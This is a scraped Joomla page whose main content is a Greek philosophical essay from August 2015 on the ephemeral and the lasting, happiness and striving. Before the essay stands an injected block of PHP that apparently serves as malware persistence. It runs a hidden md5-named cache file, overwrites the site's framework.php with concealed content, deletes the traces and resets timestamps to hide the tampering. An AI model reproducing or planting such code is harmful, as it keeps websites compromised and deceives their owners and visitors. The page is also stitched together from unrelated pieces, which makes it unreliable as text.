$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Το εφήμερο και το διαρκέστερο
YT Expo - шаблон joomla Mp3
Εκτύπωση
PDF
11
Αύγουστος
2015

Το εφήμερο και το διαρκέστερο

Ε

φήμερο είναι, ό,τι έχει διάρκεια μιας ημέρας, σε αντίθεση προς το διαρκέστερο που απλώνεται σε μελλοντικό χρόνο. Υπάρχουν εφήμερες σκέψεις και απολαύσεις, που δε βγαίνουν έξω από τον κύκλο της ατομικής μας βιοτής. Που έχουν διάρκεια μιας ημέρας, μεν, αλλά διαφέρουν ως προς την ένταση και το βαθύ χάραγμα που αφήνουν στην ψυχή μας (αν υποθέσουμε ότι είναι σκέψεις και συναισθήματα) ή συνέπειες που κάνουν

κάποιες ημέρες αλησμόνητες.

Επιμερίζοντας τον αείρροο χρόνο, για πρακτικούς λόγους, στεκόμαστε πάνω στην αξία και στη διάρκεια της στιγμής. Άλλωστε άθροισμα στιγμών είναι όλες οι ώρες μας, οι ημέρες μας , οι βδομάδες, οι μήνες τα χρόνια, η ζωή μας. Σε μια στιγμή δημιουργούνται και παίζονται όλα. Αρκεί αυτή η στιγμή να είναι η συμπύκνωση θετικής ενέργειας που φέρνει πληρότητα σε αισθήματα, αισθήσεις και ευχαριστήσεις. Αντίθετα προς την κακιά στιγμή, που βγάζει αρνητική ενέργεια και στην οποία χρεώνονται ατυχείς πράξεις που (δια) φθείρουν ο,τιδήποτε καλό πάει, να στεριώσει στη ζωή μας.

Οι πρακτικοί άνθρωποι κλείνουν τον απολογισμό του εικοσιτετραώρου τους, αν έχουν λογιστική σκέψη, και δε νοιάζονται για πάρα πέρα. Οι στοχαστικοί και ρομαντικοί, ζουν με ακόρεστη την επιθυμία και τα βάσανα του ανεκπλήρωτου. Ισόβιοι τραυματίες σε μάχες που συμβαίνουν βαθιά μέσα τους, χωρίς τελειωμό. Γι αυτούς, η εφημερότητα είναι ένα πλατώ, ένα σκαλοπάτι που σε κατεβάζει βαθύτερα ή σε ανεβάζει ψηλότερα. Και στη μια και στην άλλη περίπτωση, δε σου αποκαλύπτεται το κρυμμένο μυστικό που ψάχνεις.

Οι μεγάλοι μύστες, ο άγιος και ο ήρωας, οι ακραίες μορφές που γαλβανίζονται στην παλαίστρα της ζωής, δε φαίνεται να υπήρξαν ευτυχισμένοι. Συνεπείς αγωνιστές , ναι. Η τρυφερή και ροδαλή έννοια της ευτυχίας, είναι η άπιαστη επιδίωξή τους. Πήραμε για παράδειγμα τον άγιο και τον ήρωα. Τα μεγάλα παραδείγματα που κυνήγησαν το ιδεώδες. Έχασαν βέβαια το σχετικό που είναι δίπλα μας, αυτό που είπαμε εφήμερο, τη μικρή χαρά που ξεδιψάει τη μεγάλη στέρηση που νιώθουν όσοι ανεβαίνουν το πέτρινο βουνό, ιδρώνουν και ματώνουν σε κάθε τους προσπάθεια.

 Νά είχε η ευτυχία ένα σχήμα κι ένα όριο! Κάποιοι που ταλαιπωρήθηκαν να τη συναντήσουν, ψηλά, παραπονέθηκαν στο θεό ότι υπήρξε άδικος. Την έκοψε στα αναστήματα καθενός. Κανένας δεν παίρνει περισσότερη ή λιγότερη ευχαρίστηση στη  γη των βασάνων. ΄Ετσι λοιπόν, μένει κι αυτή σαν τον έρωτα, το μεγάλο έρωτα στη ζωή. Η επιδίωξη. Αφού όπως έχει διατυπωθεί, έρωτας πιο πολύ κι από τον έρωτα, είναι ο δρόμος που οδηγεί σ’ αυτόν. Τα μεγάλα μεγέθη δε χωράνε στο εφήμερο των επιδιώξεών μας. Χωράνε όμως στην ψυχή μας που την κομματιάζουν.

 Ωδή στο εφήμερο θα μπορούσε να είναι ο τίτλος του σημερινού μας θέματος. Ας συνεχίσει ο αναγνώστης με τη δική του περισυλλογή και βιοσοφία. Άλλωστε οι σκέψεις που κατά καιρούς βγαίνουν έξω από τα περιθώρια των σημειωμάτων μας, ανήκουν σε όλους που αισθάνονται και προβληματίζονται για απλά καθημερινά έως σύνθετα φιλοσοφικά και μεταφυσικά, που προκαλούν τα αδιέξοδα....